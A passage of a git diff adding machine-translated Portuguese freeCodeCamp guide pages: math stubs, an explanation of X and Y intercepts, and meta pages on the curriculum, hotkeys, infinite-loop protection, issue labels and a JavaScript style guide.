new file mode 100644
index 0000000000..8ae220aa29
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/worked-example-interval-of-convergence/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Interval of Convergence
+localeTitle: Exemplo de Intervalo Trabalhado de Convergência
+---
+## Exemplo de Intervalo Trabalhado de Convergência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-interval-of-convergence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/worked-example-order-of-operations-pemdas/index.md b/client/src/guide/portuguese/mathematics/worked-example-order-of-operations-pemdas/index.md
new file mode 100644
index 0000000000..64db594932
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/worked-example-order-of-operations-pemdas/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Order of Operations Pemdas
+localeTitle: Ordem de Operações do Exemplo Trabalhado Pemdas
+---
+## Ordem de Operações do Exemplo Trabalhado Pemdas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-order-of-operations-pemdas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/worked-example-slope-from-two-points/index.md b/client/src/guide/portuguese/mathematics/worked-example-slope-from-two-points/index.md
new file mode 100644
index 0000000000..b8afde9fce
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/worked-example-slope-from-two-points/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Slope from Two Points
+localeTitle: Slope de exemplo trabalhado de dois pontos
+---
+## Slope de exemplo trabalhado de dois pontos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-slope-from-two-points/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/working-with-exponents-and-logarithms/index.md b/client/src/guide/portuguese/mathematics/working-with-exponents-and-logarithms/index.md
new file mode 100644
index 0000000000..10c2453fe8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/working-with-exponents-and-logarithms/index.md
@@ -0,0 +1,13 @@
+---
+title: Working with Exponents and Logarithms
+localeTitle: Trabalhando com expoentes e logaritmos
+---
+## Trabalhando com expoentes e logaritmos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/working-with-exponents-and-logarithms/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[https://www.mathsisfun.com/algebra/logarithms.html](https://www.mathsisfun.com/algebra/logarithms.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/x-and-y-intercepts/index.md b/client/src/guide/portuguese/mathematics/x-and-y-intercepts/index.md
new file mode 100644
index 0000000000..c2c6d5a319
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/x-and-y-intercepts/index.md
@@ -0,0 +1,17 @@
+---
+title: X and Y Intercepts
+localeTitle: Intercepta X e Y
+---
+## Intercepta X e Y
+
+Os X intercepto (s) são os pontos no eixo X onde o gráfico da função cruza ou toca o eixo. Eles ocorrem onde `y = 0` .
+
+A interseção Y é o ponto no qual o gráfico da função cruza o eixo Y. Ocorre onde `x = 0` .
+
+Uma função pode ter várias interceptações X, mas pode ter apenas uma interseção Y simples.
+
+Para encontrar a (s) intercepção (ões) X, defina `y = 0` e resolva a equação para x.
+
+Para encontrar a interseção Y, defina `x = 0` e resolva a equação para y.
+
+Como exemplo, as interceptações X e Y foram resolvidas para uma linha típica na forma `y = mx + b` . ![Uma imagem demonstrando encontrar o xey intercepta uma linha típica na forma de y = mx + b. A intersecção Y é igual a b e a intercepção X é igual a b negativo dividido por m](https://raw.githubusercontent.com/hayleycd/images/master/solve_intercepts.jpeg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-agenda-for-october-summit-2015/index.md b/client/src/guide/portuguese/meta/free-code-camp-agenda-for-october-summit-2015/index.md
new file mode 100644
index 0000000000..001bb236ea
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-agenda-for-october-summit-2015/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Agenda for October Summit 2015
+localeTitle: Agenda do Camp Code gratuito para a cimeira de outubro de 2015
+---
+A nossa Cimeira de 3 de outubro de 2015 terá início ao meio-dia de EST no sábado no [canal twitch.tv](http://twitch.tv/freecodecamp) e estará disponível posteriormente no nosso [canal do youtube](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) .
+
+Durante esta transmissão ao vivo de 1 hora, nós:
+
+*   lançar nossos programas gratuitos de Front End e Full Stack Development Certificate
+*   demonstre nossas novas e mais abrangentes páginas de portfólio
+*   Demonstrar uma nova maneira de todos os nossos campistas começarem imediatamente a ajudar organizações sem fins lucrativos
+*   fale com o campista Blake Johnston, que criou o clichê do Clementine.js que o Free Code Camp usará para os desafios do Projeto Back End de pilha inteira
+*   lançamos nossa primeira campanha de camisetas em teespring.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-brownie-points/index.md b/client/src/guide/portuguese/meta/free-code-camp-brownie-points/index.md
new file mode 100644
index 0000000000..fd2569f661
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-brownie-points/index.md
@@ -0,0 +1,16 @@
+---
+title: Free Code Camp Brownie Points
+localeTitle: Pontos Free Code Camp Brownie
+---
+O número ao lado da sua foto no Free Code Camp informa quantos Pontos Brownie você tem.
+
+![Uma foto de perfil de usuário ao lado de uma pontuação com Brownie Points](//discourse-user-assets.s3.amazonaws.com/original/2X/a/aa0c6b56b3b0d4f3acd63212b5e737fdcdd75729.png)
+
+Existem duas maneiras de obter Pontos Brownie:
+
+1.  Desafios completos - você recebe um ponto por desafio concluído
+2.  Ajude outros campistas na sala de bate-papo - cada vez que você ajudar outro campista e eles agradecerem (digitando "thanks @yourname "), você receberá um ponto.
+
+> O Brownie Points ajuda você a se parecer com o tipo de pessoa que codifica bastante, compartilha links relevantes e ajuda as pessoas.
+
+Eles também adicionam ao seu [Streak](http://forum.freecodecamp.com/t/free-code-camp-streaks/18379) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-completion-language-requirements/index.md b/client/src/guide/portuguese/meta/free-code-camp-completion-language-requirements/index.md
new file mode 100644
index 0000000000..11ee92c3a9
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-completion-language-requirements/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Completion Language Requirements
+localeTitle: Requisitos para o idioma de conclusão do Free Code Camp
+---
+As últimas 800 horas de acampamento de código livre envolvem a construção de projetos para organizações sem fins lucrativos. Esses projetos sem fins lucrativos envolverão muitas reuniões, correspondência e programação em pares, todos os quais serão conduzidos em inglês.
+
+Você precisará ser bom o suficiente com o inglês para poder participar dessas reuniões.
+
+Estamos traduzindo nossos desafios para idiomas nativos para que você possa se concentrar em aprender a codificar, em vez de se concentrar em aprender inglês.
+
+Muitos falantes de inglês não-nativos tiveram sucesso em nosso programa de projeto sem fins lucrativos. Com algum esforço, você também pode.
+
+Se você precisa praticar ou aperfeiçoar suas habilidades em inglês, tente usar o [Duolingo](https://www.duolingo.com/) , é grátis e permite que você pratique e acompanhe seu progresso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-completion-timeframe/index.md b/client/src/guide/portuguese/meta/free-code-camp-completion-timeframe/index.md
new file mode 100644
index 0000000000..b1470f76a6
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-completion-timeframe/index.md
@@ -0,0 +1,14 @@
+---
+title: Free Code Camp Completion Timeframe
+localeTitle: Tempo Livre de Conclusão do Camp Code
+---
+Demora cerca de 2.080 horas para completar o Free Code Camp.
+
+Free Code Camp é totalmente on-line, e sempre haverá outras pessoas em seu nível de habilidade que você pode emparelhar com o programa, para que você possa aprender no seu próprio ritmo. Aqui estão alguns exemplos de programação de programação:
+
+Tempo orçado | Horas por semana | Semanas para completar  
+\--- | --- | ---  
+Fins de semana | 10 horas / semana | 208 semanas (48 meses)  
+Noites e fins de semana | 20 horas / semana | 104 semanas (24 meses)  
+Tempo integral | 40 horas / semana | 52 semanas (12 meses)  
+Tradicional bootcamp pacing | 80 horas / semana | 26 semanas (6 meses)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-cost/index.md b/client/src/guide/portuguese/meta/free-code-camp-cost/index.md
new file mode 100644
index 0000000000..91fb5ab70c
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-cost/index.md
@@ -0,0 +1,11 @@
+---
+title: Free Code Camp Cost
+localeTitle: Custo do Camp Code Livre
+---
+Sempre seremos totalmente gratuitos para estudantes e organizações sem fins lucrativos.
+
+Nosso nome é Free Code Camp. Nós somos um campo de código livre. Se você tivesse que nos pagar (ou assinar os ganhos futuros), teríamos que mudar nosso nome. E nós não vamos fazer isso.
+
+Todos os que trabalham em nossa comunidade e nossos projetos de código aberto são voluntários.
+
+Pretendemos, eventualmente, cobrir nossos custos operacionais, ganhando bônus de colocação de trabalho de empresas que contratam nossos graduados. Note-se que não vamos realmente garnish nenhum salário de nossos alunos - os empregadores já estão pagando milhares de dólares para encontrar candidatos bem sucedidos. Os empregadores simplesmente pagarão o bônus de recrutamento ao Acampamento de Código Livre em vez de pagar um recrutador.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-deployment-workflow/index.md b/client/src/guide/portuguese/meta/free-code-camp-deployment-workflow/index.md
new file mode 100644
index 0000000000..f11c0a6908
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-deployment-workflow/index.md
@@ -0,0 +1,12 @@
+---
+title: Free Code Camp Deployment Workflow
+localeTitle: Fluxo de Trabalho de Implantação do Code Free Camp
+---
+1.  Todo o código é escrito e enviado para uma ramificação na bifurcação dos desenvolvedores do Free Code Camp.
+2.  Os desenvolvedores criam solicitações de pull, extraindo o código de sua ramificação para a ramificação de teste do Free Code Camp.
+3.  Alguém que não seja a pessoa que submeteu o pedido de solicitação ao controle de qualidade é a solicitação de recebimento e aceita se tudo estiver perfeito. Caso contrário, eles fecham a solicitação pull com uma explicação do motivo pelo qual ela não é perfeita, e o desenvolvedor abre outra solicitação pull quando consertam as coisas.
+4.  O mestre é implantado periodicamente no freecodecamp.com.
+
+## Notas:
+
+*   Isso está sujeito a alterações quando tivermos uma melhor cobertura de teste e integração contínua.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-external-resources-recommendations/index.md b/client/src/guide/portuguese/meta/free-code-camp-external-resources-recommendations/index.md
new file mode 100644
index 0000000000..fbc218d24d
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-external-resources-recommendations/index.md
@@ -0,0 +1,55 @@
+---
+title: Free Code Camp External Resources Recommendations
+localeTitle: Recomendações de Recursos Externos do Free Code Camp
+---
+Por favor, note que o Free Code Camp não tem parceria, nem recebemos uma taxa de indicação de nenhum dos seguintes provedores. Nós simplesmente queremos ajudá-lo a encontrar uma solução para sua organização.
+
+## Organizações Voluntárias baseadas em habilidades:
+
+*   [http://givecamp.org/](http://givecamp.org/)
+*   [http://www.volunteermatch.com](http://www.volunteermatch.com)
+*   [http://www.catchafire.org](http://www.catchafire.org)
+*   [http://anyonecanhaveawebsite.com](http://anyonecanhaveawebsite.com)
+
+## Construindo um site:
+
+*   [http://www.wix.com/](http://www.wix.com/)
+*   [https://www.squarespace.com/](https://www.squarespace.com/)
+*   [https://wordpress.com/](https://wordpress.com/)
+*   [https://xprs.imcreator.com](https://xprs.imcreator.com)
+*   [ou construí-lo gratuitamente sem escrever qualquer código](https://forum.freecodecamp.com/t/how-to-build-a-website-without-writing-any-code/19503)
+
+## Sistemas de Gestão de Doadores e Voluntários
+
+*   [http://causesignal.com](http://causesignal.com)
+*   [https://www.thedatabank.com/](https://www.thedatabank.com/)
+*   [http://www.donorsnap.com/](http://www.donorsnap.com/)
+*   [http://www.donorperfect.com/](http://www.donorperfect.com/)
+*   [https://www.blackbaud.com/fundraising-crm/etapestry-donor-management](https://www.blackbaud.com/fundraising-crm/etapestry-donor-management)
+*   [http://www.z2systems.com](http://www.z2systems.com/)
+*   [http://www.regpacks.com/volunteer-management](http://www.regpacks.com/volunteer-management/)
+*   [http://sumac.com](http://sumac.com/)
+*   [http://www.volgistics.com](http://www.volgistics.com)
+
+## Sistemas de Gerenciamento de Inventário
+
+*   [https://www.ezofficeinventory.com/industries/non-profits](https://www.ezofficeinventory.com/industries/non-profits)
+*   [https://www.ordoro.com](https://www.ordoro.com)
+*   [http://www.unleashedsoftware.com](http://www.unleashedsoftware.com)
+
+## Plataformas de E-Learning
+
+*   [http://www.dokeos.com](http://www.dokeos.com/)
+*   [http://www.efrontlearning.net/](http://www.efrontlearning.net/)
+*   [https://moodle.org/](https://moodle.org/)
+*   [https://sakaiproject.org/](https://sakaiproject.org/)
+
+## Gestão Comunitária
+
+*   [https://civicrm.org/](https://civicrm.org/)
+*   [http://tcmgr.com/](http://tcmgr.com/)
+
+## Formulários Eletrônicos
+
+*   [http://www.google.com/forms](http://www.google.com/forms)
+*   [http://www.typeform.com](http://www.typeform.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-full-stack-development-certification/index.md b/client/src/guide/portuguese/meta/free-code-camp-full-stack-development-certification/index.md
new file mode 100644
index 0000000000..e529ef7862
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-full-stack-development-certification/index.md
@@ -0,0 +1,30 @@
+---
+title: Free Code Camp Full Stack Development Certification
+localeTitle: Certificação de desenvolvimento de pilha completa do Free Code Camp
+---
+## Certificação de desenvolvimento de pilha completa do Free Code Camp
+
+### Visão geral
+
+Existem seis certificados freeCodeCamp, que são obtidos ao preencher o currículo correspondente e os projetos necessários em [learn.freecodecamp.org](https://learn.freecodecamp.org/) :
+
+*   Web design responsivo
+*   Algoritmos e Estruturas de Dados
+*   Bibliotecas de front-end
+*   Visualização de dados
+*   APIs e microsserviços
+*   Segurança da Informação e Garantia de Qualidade
+
+Após a conclusão de todos os seis certificados, o certificado do [Programa de Desenvolvimento de Pilha Completa](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification/) freeCodeCamp será emitido. Essa distinção final significa a conclusão de aproximadamente 1.800 horas de codificação com exposição a uma ampla variedade de ferramentas de desenvolvimento da web.
+
+*   Se o seu nome não estiver sendo exibido no certificado, verifique se você vinculou seu GitHub e se o seu perfil do GitHub está preenchido.
+
+![Uma imagem de um certificado de programa de desenvolvimento de pilha completa de amostra](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1150a2e2473730df906909f820e3d8fdf54d6c14.png)
+
+Para mais informações sobre o novo programa de certificação, veja a postagem no fórum [aqui](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618) .
+
+### Codificação para organizações sem fins lucrativos
+
+A codificação para organizações sem fins lucrativos é agora um processo separado do programa de certificação. Projetos atuais abertos a contribuições podem ser acessados ​​no [Open Source for Good](https://www.freecodecamp.org/nonprofits/) .
+
+Para mais informações sobre o novo programa de certificação, veja a postagem no fórum [aqui](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-honesty-policy/index.md b/client/src/guide/portuguese/meta/free-code-camp-honesty-policy/index.md
new file mode 100644
index 0000000000..11259110d5
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-honesty-policy/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Honesty Policy
+localeTitle: Política de Honestidade do Camp Code Livre
+---
+Antes de emitirmos nosso certificado verificado para um campista, ele deve aceitar nossa Promessa de Honestidade Acadêmica, que diz:
+
+1.  Eu entendo que o plágio significa copiar o trabalho de outra pessoa e apresentar o trabalho como se fosse meu, sem atribuir claramente o autor original.
+    
+2.  Eu entendo que o plágio é um ato de desonestidade intelectual, e que as pessoas geralmente são expulsas da universidade ou demitidas de seus empregos, se forem pegas plagiando.
+    
+3.  Além de usar bibliotecas de código aberto como jQuery e Bootstrap, e pequenos trechos de código que são claramente atribuídos ao seu autor original, 100% do código em meus algoritmos, projetos de back-end e projetos de front-end foi escrito por mim ou junto com outro campista com quem eu estava programando em par em tempo real.
+    
+4.  Eu prometo que não plagiei nenhum dos meus trabalhos no Free Code Camp, e que estou bem com qualquer auditoria aleatória que o Free Code Camp possa fazer para confirmar isso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-hotkeys/index.md b/client/src/guide/portuguese/meta/free-code-camp-hotkeys/index.md
new file mode 100644
index 0000000000..46bb5b3195
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-hotkeys/index.md
@@ -0,0 +1,34 @@
+---
+title: Free Code Camp Hotkeys
+localeTitle: Free Hotkeys do Camp Code
+---
+O freeCodeCamp tem um número de teclas de atalho, para que os usuários avançados possam se locomover rapidamente.
+
+## Como usar as teclas de atalho
+
+Para usar essas teclas de atalho, você deve pressionar as teclas na ordem em que elas são exibidas. É importante notar que você não deve pressioná-los ao mesmo tempo.
+
+### Redirecionar teclas de atalho
+
+g n n Redireciona para o próximo desafio  
+g n a Redireciona para a página sobre  
+g n m Redireciona para o mapa  
+g n s Redireciona para a loja  
+g n o Redirecciona para as configurações  
+g n r Redirecionamentos para o repositório do Free Code Camp GitHub  
+g n w Redireciona para o fórum
+
+### Hotkeys do editor
+
+Estas teclas de atalho devem ser pressionadas ao mesmo tempo, não em ordem.
+
+Ctrl + Enter Executa os testes. Se a última vez que os testes foram bem sucedidos, isso submete o desafio e vai para o próximo.  
+Ctrl + / Comentários ou descomente a linha atual ou o código selecionado
+
+### Outras teclas de atalho
+
+g m Alternar a gaveta do mapa  
+g t n Alternar modo noturno  
+g c Alterna o chat principal (Gitter)
+
+Esc Se você pressionar enquanto a entrada estiver em foco, esvazia a entrada
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-infinite-loop-protection/index.md b/client/src/guide/portuguese/meta/free-code-camp-infinite-loop-protection/index.md
new file mode 100644
index 0000000000..b0ea788c06
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-infinite-loop-protection/index.md
@@ -0,0 +1,33 @@
+---
+title: Free Code Camp Infinite Loop Protection
+localeTitle: Proteção de Loop Infinito do Code Camp Livre
+---
+O [executor de](https://github.com/jsbin/loop-protect) código do Free Code Camp possui um recurso Infinite Loop Protect, aproveitado do [Loop Protect](https://github.com/jsbin/loop-protect) do [JSBin](https://github.com/jsbin/loop-protect) . A proteção de loop injeta algum código em loops criados pelo usuário para permitir uma saída segura se mais de ~ 500 ms passar sem sair do loop. Loop protect irá capturar muitos, mas nem todos os problemas de loop infinito. Se você vir esta mensagem:
+
+`Error: Potential infinite loop at line X`
+
+Isso significa que você foi protegido de um loop infinito.
+
+**Nota: O** Loop Protect não pode detectar recursão infinita.
+
+## Desativar Loop Protect
+
+Em alguns casos - um computador lento ou um loop longo - você pode obter uma proteção de loop incorreta. Para desabilitar a proteção de loop, inclua o seguinte comentário na linha que a lista de mensagens de proteção de loop contém:
+
+`//noprotect`
+
+**Aviso:** Desativar a proteção de loop significa que você pode potencialmente permitir que seu código entre em um loop infinito, fazendo com que seu navegador não responda.
+
+## Recuperando código sem resposta
+
+Se você errou e desativou incorretamente a proteção de loop e agora tem uma solução que não responde, é possível desativar a Execução Automática de Código.
+
+Por padrão, o site Free Code Camp carrega e executa automaticamente sua última solução gravada. Se você criou acidentalmente um loop infinito ou outro erro irrecuperável ou simplesmente não confia no código, é possível desativar a execução automática de código, colocando o seguinte no seu URL: run = disabled
+
+Exemplo:
+```
+URL: http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument) 
+ 
+ No-Run URL: http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-issue-labels/index.md b/client/src/guide/portuguese/meta/free-code-camp-issue-labels/index.md
new file mode 100644
index 0000000000..146827d47f
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-issue-labels/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camp Issue Labels
+localeTitle: Etiquetas grátis da edição do código do acampamento
+---
+Neste artigo, você pode encontrar rótulos (veja a tabela abaixo) usados ​​para categorizar a variedade de problemas enviados à FCC, juntamente com as descrições (trabalho em andamento). Os rótulos variam de **bugs** a **perguntas** e **solicitações de currículo** .
+
+Você pode usar marcadores para ajudá-lo a escolher em quais problemas clicar, em vez de clicar aleatoriamente para encontrar um interesse para você. Claro, você pode trabalhar e enviar relatórios para problemas sem rótulos. No entanto, se você escolher um problema, leia as [Diretrizes para Contribuir](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) antes de enviar qualquer solicitação de recebimento.
+
+Observação: os rótulos **_bloqueados_** , **_confirmados_** e o **_controle de qualidade_** também estão vinculados ao [Waffle](https://waffle.io/freecodecamp/freecodecamp) , um sistema de gerenciamento para problemas do FCC (GitHub) e são automaticamente adicionados e removidos por ele.
+
+**Etiqueta:** Descrição
+
+**acessibilidade:** o problema não quebra necessariamente o site, mas dificulta o uso (por exemplo, testes usados ​​para avaliar enquanto você digita, o que faria com que toda a tela piscasse). Este rótulo também marca melhorias para a usabilidade do site para pessoas com deficiência visual ou outras deficiências.
+
+**contas:** um campista tem um problema com sua conta da FCC, como problemas de login, perda de progresso ou uma página de perfil em que faltam algumas soluções.
+
+**beta:** o problema está relacionado ao site beta da FCC.
+
+**derramamento de bicicleta:** O pedido é trivial ou essencialmente irrelevante para os fins do site. Em outras palavras, questões que não têm nenhuma consequência real, mas que as pessoas insistem em gastar em ciclos.
+
+**bloqueado:** um problema que não deve ser trabalhado enquanto aguarda a resposta do criador ou mais informações, ou porque o problema é obsoleto.
+
+**bug:** Um **bug** confirmado e reproduzível no código da FCC que ocorre não apenas, por exemplo, no Internet Explorer.
+
+**chrome:** o problema pode ser reproduzido apenas no Google Chrome.
+
+**Confirmado:** o problema relatado foi verificado. (Basicamente, o criador do problema comunicou com êxito como replicar o problema, mas ninguém começou a trabalhar em direção a uma correção.)
+
+**solicitação de currículo:** tudo o que é solicitado a ser adicionado ao currículo atual - por exemplo, solicitar um novo desafio, adicionar mais explicações a um desafio etc.
+
+**dispositivo específico:** o problema é apresentado apenas para um dispositivo específico (smartphone, tablet, computador de mesa, etc.).
+
+**Discussão:** Esta questão está atualmente no estágio de discussão.
+
+**duplicado:** esse problema duplica outro problema e provavelmente será fechado.
+
+**Somente para iniciantes:** Este problema não é crítico, mas deve ser fácil para um campista resolver em seus primeiros PRs. Pense neles como a porta de entrada do campista para se tornar um colaborador.
+
+**aprimoramento:** semelhante a uma solicitação de recurso, mas mais relacionado à melhoria de recursos existentes em vez de adicionar novos recursos.
+
+**solicitação de recurso:** uma solicitação para adicionar um recurso à FCC. Por exemplo, uma solicitação para adicionar a capacidade de editar ou remover Algoritmos da página de perfil de um campista.
+
+**firefox:** O problema pode ser reproduzido apenas no Mozilla Firefox.
+
+**ajuda desejada: os** proprietários ou moderadores de problemas precisam da ajuda dos campistas para investigar ou corrigir o problema.
+
+**Caminhadas:** o problema está relacionado a Caminhadas (que não estão atualmente disponíveis no currículo).
+
+**ie / edge:** O problema pode ser reproduzido apenas no Internet Explorer ou no Microsoft Edge. O FCC oficialmente suporta apenas o Google Chrome.
+
+**em andamento:** alguém está corrigindo o problema no momento.
+
+**deve começar o mais rápido possível:** esse problema precisa ser revisado / resolvido o mais rápido possível.
+
+**no roteiro:** Geralmente, uma solicitação de recurso que está planejada para ser implementada em atualizações futuras ou que será implementada em um futuro próximo.
+
+**QA:** (Quality Assurance) Uma correção foi enviada e precisa ser revisada antes da fusão.
+
+**pergunta:** A questão é uma questão.
+
+**reactify:** A questão está relacionada com a mudança para reactjs.
+
+**resolvido:** o problema foi resolvido / corrigido.
+
+**testes:** o problema deve ser corrigido com uma melhoria de teste, o que significa que alguém precisa corrigir as afirmações.
+
+**todo:** Algo que precisa ser feito no futuro.
+
+**tradução:** o problema é um pedido de tradução ou relacionado a uma tradução já implementada.
+
+**ux:** (Experiência do usuário) Semelhante à acessibilidade, mas menos sobre se algo é difícil de usar do que sobre o fato de os participantes estarem enfrentando um problema que leva a uma experiência negativa do usuário. Por exemplo, essa tag é usada quando algo pode ser muito complicado ou quando o uso de um recurso é difícil de entender.
+
+**wiki:** Relaciona-se com os artigos do GitHub Wiki da FCC. Pode ser um pedido para criar um.
+
+**wontfix:** o problema não pode ser corrigido ou não será corrigido no futuro próximo. Por exemplo, adicionando suporte para o navegador MS Edge.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-javascript-style-guide/index.md b/client/src/guide/portuguese/meta/free-code-camp-javascript-style-guide/index.md
new file mode 100644
index 0000000000..d31199a03c
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-javascript-style-guide/index.md
@@ -0,0 +1,126 @@
+---
+title: Free Code Camp JavaScript Style Guide
+localeTitle: Guia de Estilo JavaScript Free Code Camp
+---
+ou como as pessoas legais escrevem JavaScript.
+
+## Recuar
+
+Use sempre dois espaços  
+Nenhuma guia dura, nunca. Não, só não faça isso.
+
+## Cintas Encaracoladas
+
+Sempre use chaves quando usar as palavras-chave `if/else/else if` . Isso evita muita ambiguidade e evitará erros de sintaxe em alguns casos de borda.
+
+Mau:
+```
+if (foo) bar(); 
+```
+
+Boa:
+```
+if (foo) { bar(); } 
+```
+
+## Curly Braces Everywhere!
+
+Espaço após a `function` Palavra-chave, exceto em funções anônimas
+
+Boa:
+```
+function foo() { 
+ } 
+ 
+ var foo = function() { 
+  // ... 
+ }; 
+```
+
+Mau:
+```
+function foo () 
+ { 
+  // ... 
+ } 
+ 
+ var foo = function () { 
+  // ... 
+ }; 
+```
+
+## Comentários
+
+*   sem comentários inline
+*   espaço único depois de `//`
+*   Não use comentário multilinha `/* */` , estamos reservando-os para uso com jsDocs.
+
+## Palavras-chave
+
+*   espaço imediatamente após if, else, while, etc
+*   A chave de abertura deve estar sempre na mesma linha.
+
+Boa:
+```
+if (true) { 
+ // do the thing 
+ } 
+```
+
+Mau:
+```
+if(true) 
+ { 
+ // do the thing 
+ } 
+```
+
+## Outro
+
+Evite mais e "final cedo". Em JavaScript, muitas vezes há um grande número de recuos (geralmente quando se lida com código assíncrono e chamado "callback hell"). Qualquer coisa que você pode fazer reduzir o número de travessões deve ser feito. Uma coisa é [evitar a](http://blog.timoxley.com/post/47041269194/avoid-else-return-early) palavra-chave [else](http://blog.timoxley.com/post/47041269194/avoid-else-return-early) .
+
+Isso também tem o efeito colateral de tornar o código mais limpo e mais fácil de ler.
+
+Mau:
+```
+someAsynFunc(function(err, data) { 
+  if (err) { 
+    callback(err); 
+  } else { 
+    // do stuff with data 
+  } 
+ }); 
+```
+
+Boa:
+```
+someAsynFunc(function(err, data) { 
+  if (err) { 
+    return callback(err); 
+  } 
+  // do stuff with data 
+  // saves one indent 
+ }); 
+```
+
+## Cordas Longas
+
+Seqüências multilinhas longas devem estar em uma das duas formas:
+```
+var longString = 
+  'long strings should ' + 
+  'be in this form, with the ' + 
+  'operator ending the line'; 
+ 
+ var foo = 'bar'; 
+ 
+ var longString = [ 
+  'long strings with variables such as ', 
+  foo, 
+  'should ', 
+  'be in this form, an array of strings ', 
+  'that are joined with the join array instance method', 
+ ].join(''); 
+```
+
+... mais por vir
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-logo/index.md b/client/src/guide/portuguese/meta/free-code-camp-logo/index.md
new file mode 100644
index 0000000000..ca2c26b7f4
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-logo/index.md
@@ -0,0 +1,11 @@
+---
+title: Free Code Camp Logo
+localeTitle: Logo grátis do Code Camp
+---
+![Logomarca da Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf6e8e0a75acb7aa900eb304270a6407ae1d9e2c.jpg)
+
+Ele usa o tipo de letra 'saxmono'.
+
+Como a maioria dos recursos de design do Free Code Camp, ele foi criado pela [@rybar](https://gitter.im/rybar) com a ajuda do [@iheartkode](https://gitter.im/iheartkode) .
+
+Você pode fazer o download de todos os nossos ativos, que são licenciados pelo Creative Commons, em nosso [repositório de Ativos do Code Free Camp](https://github.com/FreeCodeCamp/FCCAssets) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camp-official-chat-rooms/index.md b/client/src/guide/portuguese/meta/free-code-camp-official-chat-rooms/index.md
new file mode 100644
index 0000000000..445faff32c
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camp-official-chat-rooms/index.md
@@ -0,0 +1,23 @@
+---
+title: Free Code Camp Official Chat Rooms
+localeTitle: Free Chat Camp Official Chat Rooms
+---
